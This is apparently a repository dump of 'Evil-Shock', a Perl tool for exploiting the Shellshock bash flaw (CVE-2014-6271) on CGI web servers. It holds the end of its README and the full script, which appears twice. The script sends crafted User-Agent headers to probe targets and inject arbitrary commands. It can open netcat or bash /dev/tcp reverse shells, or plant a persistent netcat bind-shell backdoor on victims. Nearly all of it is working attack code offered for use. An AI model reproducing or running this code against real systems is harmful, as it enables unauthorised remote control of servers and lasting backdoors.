: When info grabbing you can choose to have a custom user-agent or use the default one.
52 | srv-persistent : When only bind shell is selected and injected this will then injected a persistent backdoor.
53 | inject-only : This will test Injection Points only, not inject anything else.
54 |
55 | # Shells
56 | Evil-Shock supports 3 different type of shells, reverse, bind and bash shells!
57 |
58 | Reverse - Victim will connect back to you.
59 |
60 |
61 | Bind - You will connect directly to the target (Recommended)
62 |
63 |
64 | Bash(Reverse Only) - Rather than creating a netcat listener on the victim and bash listener will be injected.
65 |
66 |
67 | # Usage
68 | perl evilshock.pl -help
69 |
70 | # Examples
71 | perl evilshock -t=http://shellshock.site/cgi-bin/menu --shell=bind --port=1234 --srv-persistent
72 |
--------------------------------------------------------------------------------
/evilshock.pl:
--------------------------------------------------------------------------------
1 | #! /usr/bin/perl
2 |
3 | use Getopt::Long;
4 | use Socket;
5 | use IO::Socket::INET;
6 | use HTTP::Request;
7 | use LWP::UserAgent;
8 | use URI;
9 | use HTTP::Request::Common;
10 |
11 | GetOptions(
12 | "t|target=s" => \my $target,
13 | "shell=s" => \my $revshell,
14 | "p|port=i" => \my $rport,
15 | "help+" => \my $help,
16 | "inject=s" => \my $InjString,
17 | "user-agent=s" => \my $userAg,
18 | "srv-persistent+" => \my $pertsrv,
19 | "inject-only+" => \my $injectOnly,
20 | ) or die "Error while setting up command-line arguments";
21 |
22 | if($^O =~ /Win/){
23 | Win();
24 | }
25 |
26 | sub Failed{
27 | print "\n[!] No injection points were found!, make sure the target is vulnerable or inject your own code via --inject=<>!\n";
28 | }
29 |
30 |
31 | system("clear || cls");
32 | print q{
33 |
34 |
35 |
36 |
37 | ___________ ____ __ __ _______. __ __ ______ ______ __ ___ ___ zeeeeee
38 | | ____\ \ / / | | | | / || | | | / __ \ / || |/ / .-"; ! ;"-z$$$$$$"
39 | | |__ \ \/ / | | | | ______ | (----`| |__| | | | | | | ,----'| ' / .'! : | : d!$$$$$`
40 | | __| \ / | | | | |______| \ \ | __ | | | | | | | | < /\ ! : ! : $$$$$$\
41 | | |____ \ / | | | `----. .----) | | | | | | `--' | | `----.| . \ /\ | ! :|: 4$$$$$$$$$$$$
42 | |_______| \__/ |__| |_______| |_______/ |__| |__| \______/ \______||__|\__\ ( \ \ ; :!: z$$$$$$$$$$$$
43 | VERSION 1.0.0 / CODED BY GHOSTY / DEADHACKS ( `. \ | !:|:!""""""3$$$$$
44 | MULTI SHELLSHOCK(CVE-2014-6271) INJECTION (`. \ \ \!:|:!/ / /z$$$$$
45 | REVERSE / BIND SHELL \ `.`.\ |!|! |/,'z$$$$P
46 | `._`.\\\!!!// .d$$$$$
47 | `.`.\\|//.'.""$$$
48 | |`._`n'_.'| $$
49 | "----^----" $
50 | ^
51 |
52 | BETA - Coded By Ghosty
53 | STILL IN DEVELOPEMENT SO WONT HAVE MUCH BANNER AND DISPLAYING BUT SITLL WORKS!
54 | };
55 | if($pertsrv eq "1"){ print "PERSISTENT \n"; }
56 | if($help eq '1'){
57 | print "Commands And Arguments: \n";
58 | print " -t= | -target= : Will set up the target, make sure to add the cgi-bin directory for example: -t=http://ShellShock.Site/cgi-bin/status\n";
59 | print "\n";
60 | print " -shell= : Will set the shell to use when injected in, this will take the control of the system and send you back a connection depending on the type of shell. \n";
61 | print " Reverse = Evil-Shock will inject a netcat shell then listen for connections, then the victim will connect back to our listener. \n";
62 | print " Bind = Evil-Shock will inject a netcat listener into the victim then connect / bind us to it.\n";
63 | print "\n";
64 | print " -p= |-port= : Will set the port to reverse / bind to when injecting a shell.\n";
65 | print "\n";
66 | print " -only-inject : Will check for Inject Points only.\n";
67 | print "\n";
68 | print " -inject= : Evil-Shock will inject the following command into the victim.\n";
69 | print "\n";
70 | print " -user-agent= : Will set a specific user-agent from the user.\n";
71 | print "\n";
72 | print " -srv-persistent : Will inject a persistent backdoor into the victim.\n";
73 | print "\n";
74 | exit(0);
75 | }
76 | $injectionFound = "no";
77 | $url = URI->new( "$target" );
78 | $domain = $url->host;
79 | use HTML::Parse;
80 |
81 | sub InjectCommand{
82 | print "[+] Injecting command ($InjString) .... \n";
83 | $url = "$target";
84 | $ua = new LWP::UserAgent;
85 | $ua->agent("$Inject; $InjString'");
86 | $ua->timeout(15);
87 | $request = HTTP::Request->new('GET');
88 | $request->url($url);
89 | $response = $ua->request($request);
90 | $code = $response->code;
91 | $headers = $response->headers_as_string;
92 | $body = $response->content;
93 | print "[+] Injected, printing responce: \n";
94 | print "$body \n";
95 | print " \n";
96 | print "[+] That was the responce of the server, check for your command output or try another command. \n";
97 | print " \n";
98 | exit(0);
99 | }
100 |
101 |
102 |
103 | sub RevShell{
104 | print "[!] What is the IP to bind to: ";
105 | chop($bip = );
106 | print "[!] What is the port to bind to: ";
107 | chop($bport = );
108 | print "[+] Would you like to open a netcat reverse shell or a bash reverse shell? (n/b): ";
109 | chop($nb = );
110 | if($nb eq 'n'){
111 | print "[+] Netcat Reverse Shell Selected ...\n";
112 | $userAgent2Backdoor = $ua->agent("$Inject; nc $bip $bport -e /bin/sh'");
113 | } else {
114 | print "[+] Bash Reverse Shell Selected ...\n";
115 | $userAgent2Backdoor = $ua->agent("$Inject; bash -i >& /dev/tcp/$bip/$bport 0>&1'");
116 | }
117 | sub Bind2Shell{
118 | $url = "$target";
119 | $ua = new LWP::UserAgent;
120 | $userAgent2Backdoor;
121 | $request = HTTP::Request->new('GET');
122 | $request->url($url);
123 | $response = $ua->request($request);
124 | $code = $response->code;
125 | $headers = $response->headers_as_string;
126 | $body = $response->content;
127 | }
128 | $iaddr = inet_aton("$domain");
129 | $foo = "$iaddr";
130 | $foolen = length $foo;
131 | print "\n[!] IP Lenght: $foolen\n";
132 | if($foolen eq '0'){
133 | print "[!] Could not auto-detect IP!\n";
134 | print "> IP Of $domain :> \n";
135 | chop($ip = );
136 | } else {
137 | $iaddr = inet_aton("$domain");
138 | $name = gethostbyaddr($iaddr, AF_INET);
139 | $straddr = inet_ntoa($iaddr);
140 | $ip = $straddr;
141 | }
142 | print "\n[+] IP Of $domain: $ip\n";
143 | print "[+] Reverse Shell was successfully injected! \n";
144 | print "->SESSION SHELL INJECTED: $bip:$bport \n";
145 | print "[+] Auto-Exploiting target ... \n";
146 | print "\n\n \n";
147 | print "[+] Listening ...\n";
148 | print "[+] When Connected, you should be able to execute remote command now! (Closing the window or the script will end the reverse shell except if '--srv-persistent' was selected in command-line): \n";
149 | Bind2Shell();
150 | system("nc -lvp $bport");
151 | }
152 |
153 |
154 | sub BindShell{
155 | $srv = "";
156 | $url = "$target";
157 | $ua = new LWP::UserAgent;
158 | if($pertsrv eq 1){ $srv = "-k "; }
159 | $ua->agent("$Inject; nc -l $srv-p $rport -e /bin/sh'");
160 | $ua->timeout(15);
161 | $request = HTTP::Request->new('GET');
162 | $request->url($url);
163 | $response = $ua->request($request);
164 | $code = $response->code;
165 | $headers = $response->headers_as_string;
166 | $body = $response->content;
167 | $iaddr = inet_aton("$domain");
168 | $foo = "$iaddr";
169 | $foolen = length $foo;
170 | print "[!] IP Lenght: $foolen\n";
171 | if($foolen eq '0'){
172 | print "{!} Could not auto-detect IP!\n";
173 | print "> IP Of $domain :> \n";
174 | chop($ip = );
175 | } else {
176 | $iaddr = inet_aton("$domain");
177 | $name = gethostbyaddr($iaddr, AF_INET);
178 | $straddr = inet_ntoa($iaddr);
179 | $ip = $straddr;
180 | }
181 | if($pertsrv eq 1){
182 | print "[+] PERSISTENT BACKDOOR WARNING [+]\n";
183 | print "[+] The persistent backdoor will not be executed at the start up, only if the process is still alive and the machine on.\n";
184 | print "[+] By default netcat will end the backdoor when we first got connected and exit.\n";
185 | print "[+] But Evil-Shock has made netcat to not end the connection even if we exit the session!\n";
186 | print "[!] So you can connect at anytime doing: $ip $rport\n";
187 | print "\n";
188 | print "\n";
189 | print "\n";
190 |
191 | }
192 | print "\n[+] IP Of $domain: $ip\n";
193 | print "[+] Reverse Shell was successfully injected! \n";
194 | print "->SESSION SHELL INJECTED: $ip:$rport \n";
195 | print "[+] Auto-Exploiting target ... \n";
196 | print "\n\n \n";
197 | print "[+] Connecting...\n";
198 | print "[+] Connected!, should be able to execute remote command now! (Closing the window or the script will end the bind shell): \n";
199 | system("nc $ip $rport")
200 | }
201 |
202 |
203 | sub InjCorrect{
204 | if($injectionFound eq 'yes'){
205 | if(defined $InjString || $InjString != ''){
206 | InjectCommand();
207 | }
208 | print "[+] Injection Point Found!!! \n";
209 | print "Injection Point: $InjectPoint \n";
210 | if($revshell eq 'reverse'){
211 | print "\n[!] Getting Reverse Shell! ... \n";
212 | RevShell();
213 | } elsif ($revshell eq 'bind'){
214 | print "\n[!] Getting Bind Shell! ... \n";
215 | BindShell();
216 | }
217 | }
218 | }
219 |
220 | sub InfoGrabber{
221 | print "\n[+] Grabbing Basic Infos ...\n";
222 | if($userAg eq '' | not defined $userAg){
223 | $userAg = "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/22.0.141836113 Mobile/14D27 Safari/600.1.4";
224 | print "[+] User Agent Set To Default: $userAg\n";
225 | } else {
226 | print "[+] Custom User Agent: $userAg \n";
227 | }
228 | $url = "$target";
229 | $ua = new LWP::UserAgent;
230 | $ua->agent("$userAg");
231 | $ua->timeout(15);
232 | $request = HTTP::Request->new('GET');
233 | $request->url($url);
234 | $response = $ua->request($request);
235 | $code = $response->code;
236 | $headers = $response->headers_as_string;
237 | $body = $response->content;
238 | if($body =~ /Server: \s*(.+)$/ || $body =~ /server: \s*(.+)$/){
239 | $server = $1;
240 | print "[+] Server Found: $server\n";
241 | if($server =~ /apache/){
242 | print "[+] Seems like $domain is running an apache server, which increases our chance to hack in! \n";
243 | }
244 | } else {
245 | print "[-] Server Not Found. \n";
246 | }
247 | print "\n";
248 | NSLookupInject();
249 | }
250 |
251 |
252 | sub NSLookupInject{
253 | print "<{+++++++++++++ Testing For Injection Points +++++++++++++}>\n";
254 | $url = "$target";
255 | $ua = new LWP::UserAgent;
256 | $ua->agent("() { :;}; /bin/bash -c 'nslookup www.gooogle.com'");
257 | $ua->timeout(15);
258 | $request = HTTP::Request->new('GET');
259 | $request->url($url);
260 | $response = $ua->request($request);
261 | $code = $response->code;
262 | $headers = $response->headers_as_string;
263 | $body = $response->content;
264 | if($body =~ /Address 1/ || $body =~ /Address 2/ || $body =~ /Name:/){
265 | print "[+] Shellshock nslookup Injection was injected successfully! (Vulnerable!) \n";
266 | $injectionFound = "yes";
267 | $InjectPoint = "() { :;}; /bin/bash -c 'nslookup www.google.com'";
268 | print "INJECTION POINT-> $InjectPoint \n";
269 | $Inject = "() { :;}; /bin/bash -c 'nslookup www.google.com";
270 | $NSInj = "() { :;}; /bin/bash -c 'nslookup www.google.com'";
271 | if($injectOnly eq 1){
272 | print "\n";
273 | LsInject();
274 | } else {
275 | InjCorrect();
276 | }
277 | } else {
278 | print "[-] Shellshock nslookup Injection was not injected successfully! (Not Vulnerable!) \n";
279 | print "\n";
280 | LsInject();
281 | }
282 | }
283 |
284 | sub LsInject{
285 | $url = "$target";
286 | $ua = new LWP::UserAgent;
287 | $ua->agent("() { :;}; /bin/bash -c 'ls'");
288 | $ua->timeout(15);
289 | $request = HTTP::Request->new('GET');
290 | $request->url($url);
291 | $response = $ua->request($request);
292 | $code = $response->code;
293 | $headers = $response->headers_as_string;
294 | $body = $response->content;
295 | if($body != ''){
296 | print "[+] Shellshock LS Injection was injected successfully! (Vulnerable!) \n";
297 | $injectionFound = "yes";
298 | $InjectPoint = "() { :;}; /bin/bash -c 'ls'";
299 | print "INJECTION POINT-> $InjectPoint \n";
300 | $Inject = "() { :;}; /bin/bash -c 'ls";
301 | $lSInj = "() { :;}; /bin/bash -c 'ls'";
302 | if($injectOnly eq 1){
303 | print "\n";
304 | EchoInject();
305 | } else {
306 | InjCorrect();
307 | }
308 | } else {
309 | print "[-] Shellshock LS Injection was not injected successfully! (Not Vulnerable!) \n";
310 | print "\n";
311 | EchoInject();
312 | }
313 | }
314 |
315 | sub EchoInject{
316 | $url = "$target";
317 | $ua = new LWP::UserAgent;
318 | $ua->agent("() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell'");
319 | $ua->timeout(15);
320 | $request = HTTP::Request->new('GET');
321 | $request->url($url);
322 | $response = $ua->request($request);
323 | $code = $response->code;
324 | $headers = $response->headers_as_string;
325 | $body = $response->content;
326 | if($body =~ /Shellshock is fun with ShockThatShell/){
327 | print "[+] Shellshock Echo Injection was injected successfully! (Vulnerable!) \n";
328 | $injectionFound = "yes";
329 | $InjectPoint = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell'";
330 | print "INJECTION POINT-> $InjectPoint \n";
331 | $Inject = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell";
332 | $ECHOinj = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell";
333 | if($injectOnly eq 1){
334 | print "\n";
335 | PingInject();
336 | } else {
337 | InjCorrect();
338 | }
339 | } else {
340 | print "[-] Shellshock Echo Injection was not injected successfully! (Not Vulnerable!) \n";
341 | print "\n";
342 | PingInject();
343 | }
344 | }
345 |
346 |
347 | sub PingInject{
348 | $url = "$target";
349 | $ua = new LWP::UserAgent;
350 | $ua->agent("() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'");
351 | $ua->timeout(15);
352 | $request = HTTP::Request->new('GET');
353 | $request->url($url);
354 | $response = $ua->request($request);
355 | $code = $response->code;
356 | $headers = $response->headers_as_string;
357 | $body = $response->content;
358 | if($body =~ /--- 8.8.8.8 ping statistics ---/){
359 | print "[+] Shellshock Ping Injection was injected successfully! (Vulnerable!) \n";
360 | $injectionFound = "yes";
361 | $InjectPoint = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'";
362 | print "INJECTION POINT-> $InjectPoint \n";
363 | $Inject = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8";
364 | $PINGInj = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8";
365 | if($injectOnly eq 1){
366 | print "\n";
367 | exit(0);
368 | } else {
369 | InjCorrect();
370 | }
371 | } else {
372 | print "[-] Shellshock Ping Injection was not injected successfully! (Not Vulnerable!) \n";
373 | }
374 | }
375 |
376 | InfoGrabber();
377 |
378 | sub Win{
379 | system("clear || cls");
380 | print q{
381 |
382 |
383 |
384 |
385 | ___________ ____ __ __ _______. __ __ ______ ______ __ ___ ___ zeeeeee
386 | | ____\ \ / / | | | | / || | | | / __ \ / || |/ / .-"; ! ;"-z$$$$$$"
387 | | |__ \ \/ / | | | | ______ | (----`| |__| | | | | | | ,----'| ' / .'! : | : d!$$$$$`
388 | | __| \ / | | | | |______| \ \ | __ | | | | | | | | < /\ ! : ! : $$$$$$\
389 | | |____ \ / | | | `----. .----) | | | | | | `--' | | `----.| . \ /\ | ! :|: 4$$$$$$$$$$$$
390 | |_______| \__/ |__| |_______| |_______/ |__| |__| \______/ \______||__|\__\ ( \ \ ; :!: z$$$$$$$$$$$$
391 | VERSION 1.0.0 / CODED BY GHOSTY / DEADHACKS ( `. \ | !:|:!""""""3$$$$$
392 | MULTI SHELLSHOCK(CVE-2014-6271) INJECTION (`. \ \ \!:|:!/ / /z$$$$$
393 | REVERSE / BIND SHELL \ `.`.\ |!|! |/,'z$$$$P
394 | `._`.\\\!!!// .d$$$$$
395 | `.`.\\|//.'.""$$$
396 | |`._`n'_.'| $$
397 | "----^----" $
398 | ^
399 |
400 | BETA - Coded By Ghosty
401 | STILL IN DEVELOPEMENT SO WONT HAVE MUCH BANNER AND DISPLAYING BUT SITLL WORKS!
402 | };
403 | if($pertsrv eq "1"){ print "PERSISTENT \n"; }
404 | if($help eq '1'){
405 | print "Commands And Arguments: \n";
406 | print " -t= | -target= : Will set up the target, make sure to add the cgi-bin directory for example: -t=http://ShellShock.Site/cgi-bin/status\n";
407 | print "\n";
408 | print " -shell= : Will set the shell to use when injected in, this will take the control of the system and send you back a connection depending on the type of shell. \n";
409 | print " Reverse = Evil-Shock will inject a netcat shell then listen for connections, then the victim will connect back to our listener. \n";
410 | print " Bind = Evil-Shock will inject a netcat listener into the victim then connect / bind us to it.\n";
411 | print "\n";
412 | print " -p= |-port= : Will set the port to reverse / bind to when injecting a shell.\n";
413 | print "\n";
414 | print " -only-inject : Will check for Inject Points only.\n";
415 | print "\n";
416 | print " -inject= : Evil-Shock will inject the following command into the victim.\n";
417 | print "\n";
418 | print " -user-agent= : Will set a specific user-agent from the user.\n";
419 | print "\n";
420 | print " -srv-persistent : Will inject a persistent backdoor into the victim.\n";
421 | print "\n";
422 | exit(0);
423 | }
424 | $injectionFound = "no";
425 | $url = URI->new( "$target" );
426 | $domain = $url->host;
427 | use HTML::Parse;
428 |
429 | sub InjectCommand{
430 | print "[+] Injecting command ($InjString) .... \n";
431 | $url = "$target";
432 | $ua = new LWP::UserAgent;
433 | $ua->agent("$Inject; $InjString'");
434 | $ua->timeout(15);
435 | $request = HTTP::Request->new('GET');
436 | $request->url($url);
437 | $response = $ua->request($request);
438 | $code = $response->code;
439 | $headers = $response->headers_as_string;
440 | $body = $response->content;
441 | print "[+] Injected, printing responce: \n";
442 | print "$body \n";
443 | print " \n";
444 | print "[+] That was the responce of the server, check for your command output or try another command. \n";
445 | print " \n";
446 | exit(0);
447 | }
448 |
449 |
450 |
451 | sub RevShell{
452 | print "[!] What is the IP to bind to: ";
453 | chop($bip = );
454 | print "[!] What is the port to bind to: ";
455 | chop($bport = );
456 | print "[+] Would you like to open a netcat reverse shell or a bash reverse shell? (n/b): ";
457 | chop($nb = );
458 | if($nb eq 'n'){
459 | print "[+] Netcat Reverse Shell Selected ...\n";
460 | $userAgent2Backdoor = $ua->agent("$Inject; nc $bip $bport -e /bin/sh'");
461 | } else {
462 | print "[+] Bash Reverse Shell Selected ...\n";
463 | $userAgent2Backdoor = $ua->agent("$Inject; bash -i >& /dev/tcp/$bip/$bport 0>&1'");
464 | }
465 | sub Bind2Shell{
466 | $url = "$target";
467 | $ua = new LWP::UserAgent;
468 | $userAgent2Backdoor;
469 | $request = HTTP::Request->new('GET');
470 | $request->url($url);
471 | $response = $ua->request($request);
472 | $code = $response->code;
473 | $headers = $response->headers_as_string;
474 | $body = $response->content;
475 | }
476 | $iaddr = inet_aton("$domain");
477 | $foo = "$iaddr";
478 | $foolen = length $foo;
479 | print "\n[!] IP Lenght: $foolen\n";
480 | if($foolen eq '0'){
481 | print "[!] Could not auto-detect IP!\n";
482 | print "> IP Of $domain :> \n";
483 | chop($ip = );
484 | } else {
485 | $iaddr = inet_aton("$domain");
486 | $name = gethostbyaddr($iaddr, AF_INET);
487 | $straddr = inet_ntoa($iaddr);
488 | $ip = $straddr;
489 | }
490 | print "\n[+] IP Of $domain: $ip\n";
491 | print "[+] Reverse Shell was successfully injected! \n";
492 | print "->SESSION SHELL INJECTED: $bip:$bport \n";
493 | print "[+] Auto-Exploiting target ... \n";
494 | print "\n\n \n";
495 | print "[+] Listening ...\n";
496 | print "[+] When Connected, you should be able to execute remote command now! (Closing the window or the script will end the reverse shell except if '--srv-persistent' was selected in command-line): \n";
497 | Bind2Shell();
498 | system("nc.exe -lvp $bport");
499 | }
500 |
501 |
502 | sub BindShell{
503 | $srv = "";
504 | $url = "$target";
505 | $ua = new LWP::UserAgent;
506 | if($pertsrv eq 1){ $srv = "-k "; }
507 | $ua->agent("$Inject; nc -l $srv-p $rport -e /bin/sh'");
508 | $ua->timeout(15);
509 | $request = HTTP::Request->new('GET');
510 | $request->url($url);
511 | $response = $ua->request($request);
512 | $code = $response->code;
513 | $headers = $response->headers_as_string;
514 | $body = $response->content;
515 | $iaddr = inet_aton("$domain");
516 | $foo = "$iaddr";
517 | $foolen = length $foo;
518 | print "[!] IP Lenght: $foolen\n";
519 | if($foolen eq '0'){
520 | print "{!} Could not auto-detect IP!\n";
521 | print "> IP Of $domain :> \n";
522 | chop($ip = );
523 | } else {
524 | $iaddr = inet_aton("$domain");
525 | $name = gethostbyaddr($iaddr, AF_INET);
526 | $straddr = inet_ntoa($iaddr);
527 | $ip = $straddr;
528 | }
529 | if($pertsrv eq 1){
530 | print "[+] PERSISTENT BACKDOOR WARNING [+]\n";
531 | print "[+] The persistent backdoor will not be executed at the start up, only if the process is still alive and the machine on.\n";
532 | print "[+] By default netcat will end the backdoor when we first got connected and exit.\n";
533 | print "[+] But Evil-Shock has made netcat to not end the connection even if we exit the session!\n";
534 | print "[!] So you can connect at anytime doing: $ip $rport\n";
535 | print "\n";
536 | print "\n";
537 | print "\n";
538 |
539 | }
540 | print "\n[+] IP Of $domain: $ip\n";
541 | print "[+] Reverse Shell was successfully injected! \n";
542 | print "->SESSION SHELL INJECTED: $ip:$rport \n";
543 | print "[+] Auto-Exploiting target ... \n";
544 | print "\n\n \n";
545 | print "[+] Connecting...\n";
546 | print "[+] Connected!, should be able to execute remote command now! (Closing the window or the script will end the bind shell): \n";
547 | system("cd nc && nc.exe $ip $rport")
548 | }
549 |
550 |
551 | sub InjCorrect{
552 | if($injectionFound eq 'yes'){
553 | if(defined $InjString || $InjString != ''){
554 | InjectCommand();
555 | }
556 | print "[+] Injection Point Found!!! \n";
557 | print "Injection Point: $InjectPoint \n";
558 | if($revshell eq 'reverse'){
559 | print "\n[!] Getting Reverse Shell! ... \n";
560 | RevShell();
561 | } elsif ($revshell eq 'bind'){
562 | print "\n[!] Getting Bind Shell! ... \n";
563 | BindShell();
564 | }
565 | }
566 | }
567 |
568 | sub InfoGrabber{
569 | print "\n[+] Grabbing Basic Infos ...\n";
570 | if($userAg eq '' | not defined $userAg){
571 | $userAg = "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/22.0.141836113 Mobile/14D27 Safari/600.1.4";
572 | print "[+] User Agent Set To Default: $userAg\n";
573 | } else {
574 | print "[+] Custom User Agent: $userAg \n";
575 | }
576 | $url = "$target";
577 | $ua = new LWP::UserAgent;
578 | $ua->agent("$userAg");
579 | $ua->timeout(15);
580 | $request = HTTP::Request->new('GET');
581 | $request->url($url);
582 | $response = $ua->request($request);
583 | $code = $response->code;
584 | $headers = $response->headers_as_string;
585 | $body = $response->content;
586 | if($body =~ /Server: \s*(.+)$/ || $body =~ /server: \s*(.+)$/){
587 | $server = $1;
588 | print "[+] Server Found: $server\n";
589 | if($server =~ /apache/){
590 | print "[+] Seems like $domain is running an apache server, which increases our chance to hack in! \n";
591 | }
592 | } else {
593 | print "[-] Server Not Found. \n";
594 | }
595 | print "\n";
596 | NSLookupInject();
597 | }
598 |
599 |
600 | sub NSLookupInject{
601 | print "<{+++++++++++++ Testing For Injection Points +++++++++++++}>\n";
602 | $url = "$target";
603 | $ua = new LWP::UserAgent;
604 | $ua->agent("() { :;}; /bin/bash -c 'nslookup www.gooogle.com'");
605 | $ua->timeout(15);
606 | $request = HTTP::Request->new('GET');
607 | $request->url($url);
608 | $response = $ua->request($request);
609 | $code = $response->code;
610 | $headers = $response->headers_as_string;
611 | $body = $response->content;
612 | if($body =~ /Address 1/ || $body =~ /Address 2/ || $body =~ /Name:/){
613 | print "[+] Shellshock nslookup Injection was injected successfully! (Vulnerable!) \n";
614 | $injectionFound = "yes";
615 | $InjectPoint = "() { :;}; /bin/bash -c 'nslookup www.google.com'";
616 | print "INJECTION POINT-> $InjectPoint \n";
617 | $Inject = "() { :;}; /bin/bash -c 'nslookup www.google.com";
618 | $NSInj = "() { :;}; /bin/bash -c 'nslookup www.google.com'";
619 | if($injectOnly eq 1){
620 | print "\n";
621 | LsInject();
622 | } else {
623 | InjCorrect();
624 | }
625 | } else {
626 | print "[-] Shellshock nslookup Injection was not injected successfully! (Not Vulnerable!) \n";
627 | print "\n";
628 | LsInject();
629 | }
630 | }
631 |
632 | sub LsInject{
633 | $url = "$target";
634 | $ua = new LWP::UserAgent;
635 | $ua->agent("() { :;}; /bin/bash -c 'ls'");
636 | $ua->timeout(15);
637 | $request = HTTP::Request->new('GET');
638 | $request->url($url);
639 | $response = $ua->request($request);
640 | $code = $response->code;
641 | $headers = $response->headers_as_string;
642 | $body = $response->content;
643 | if($body != ''){
644 | print "[+] Shellshock LS Injection was injected successfully! (Vulnerable!) \n";
645 | $injectionFound = "yes";
646 | $InjectPoint = "() { :;}; /bin/bash -c 'ls'";
647 | print "INJECTION POINT-> $InjectPoint \n";
648 | $Inject = "() { :;}; /bin/bash -c 'ls";
649 | $lSInj = "() { :;}; /bin/bash -c 'ls'";
650 | if($injectOnly eq 1){
651 | print "\n";
652 | EchoInject();
653 | } else {
654 | InjCorrect();
655 | }
656 | } else {
657 | print "[-] Shellshock LS Injection was not injected successfully! (Not Vulnerable!) \n";
658 | print "\n";
659 | EchoInject();
660 | }
661 | }
662 |
663 | sub EchoInject{
664 | $url = "$target";
665 | $ua = new LWP::UserAgent;
666 | $ua->agent("() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell'");
667 | $ua->timeout(15);
668 | $request = HTTP::Request->new('GET');
669 | $request->url($url);
670 | $response = $ua->request($request);
671 | $code = $response->code;
672 | $headers = $response->headers_as_string;
673 | $body = $response->content;
674 | if($body =~ /Shellshock is fun with ShockThatShell/){
675 | print "[+] Shellshock Echo Injection was injected successfully! (Vulnerable!) \n";
676 | $injectionFound = "yes";
677 | $InjectPoint = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell'";
678 | print "INJECTION POINT-> $InjectPoint \n";
679 | $Inject = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell";
680 | $ECHOinj = "() { :;}; /bin/bash -c 'echo Shellshock is fun with ShockThatShell";
681 | if($injectOnly eq 1){
682 | print "\n";
683 | PingInject();
684 | } else {
685 | InjCorrect();
686 | }
687 | } else {
688 | print "[-] Shellshock Echo Injection was not injected successfully! (Not Vulnerable!) \n";
689 | print "\n";
690 | PingInject();
691 | }
692 | }
693 |
694 |
695 | sub PingInject{
696 | $url = "$target";
697 | $ua = new LWP::UserAgent;
698 | $ua->agent("() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'");
699 | $ua->timeout(15);
700 | $request = HTTP::Request->new('GET');
701 | $request->url($url);
702 | $response = $ua->request($request);
703 | $code = $response->code;
704 | $headers = $response->headers_as_string;
705 | $body = $response->content;
706 | if($body =~ /--- 8.8.8.8 ping statistics ---/){
707 | print "[+] Shellshock Ping Injection was injected successfully! (Vulnerable!) \n";
708 | $injectionFound = "yes";
709 | $InjectPoint = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'";
710 | print "INJECTION POINT-> $InjectPoint \n";
711 | $Inject = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8";
712 | $PINGInj = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8";
713 | if($injectOnly eq 1){
714 | print "\n";
715 | exit(0);
716 | } else {
717 | InjCorrect();
718 | }
719 | } else {
720 | print "[-] Shellshock Ping Injection was not injected successfully! (Not Vulnerable!) \n";
721 | Failed();
722 | exit(0);
723 | }
724 | }
725 |
726 | InfoGrabber();
727 | }
728 |
729 |
730 |
731 |
732 |
733 |
734 |
--------------------------------------------------------------------------------
/nc/nc.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DeaDHackS/Evil-Shock/d546e2ff869e4cf4001a35a730563b1c47658a6b/nc/nc.exe
--------------------------------------------------------------------------------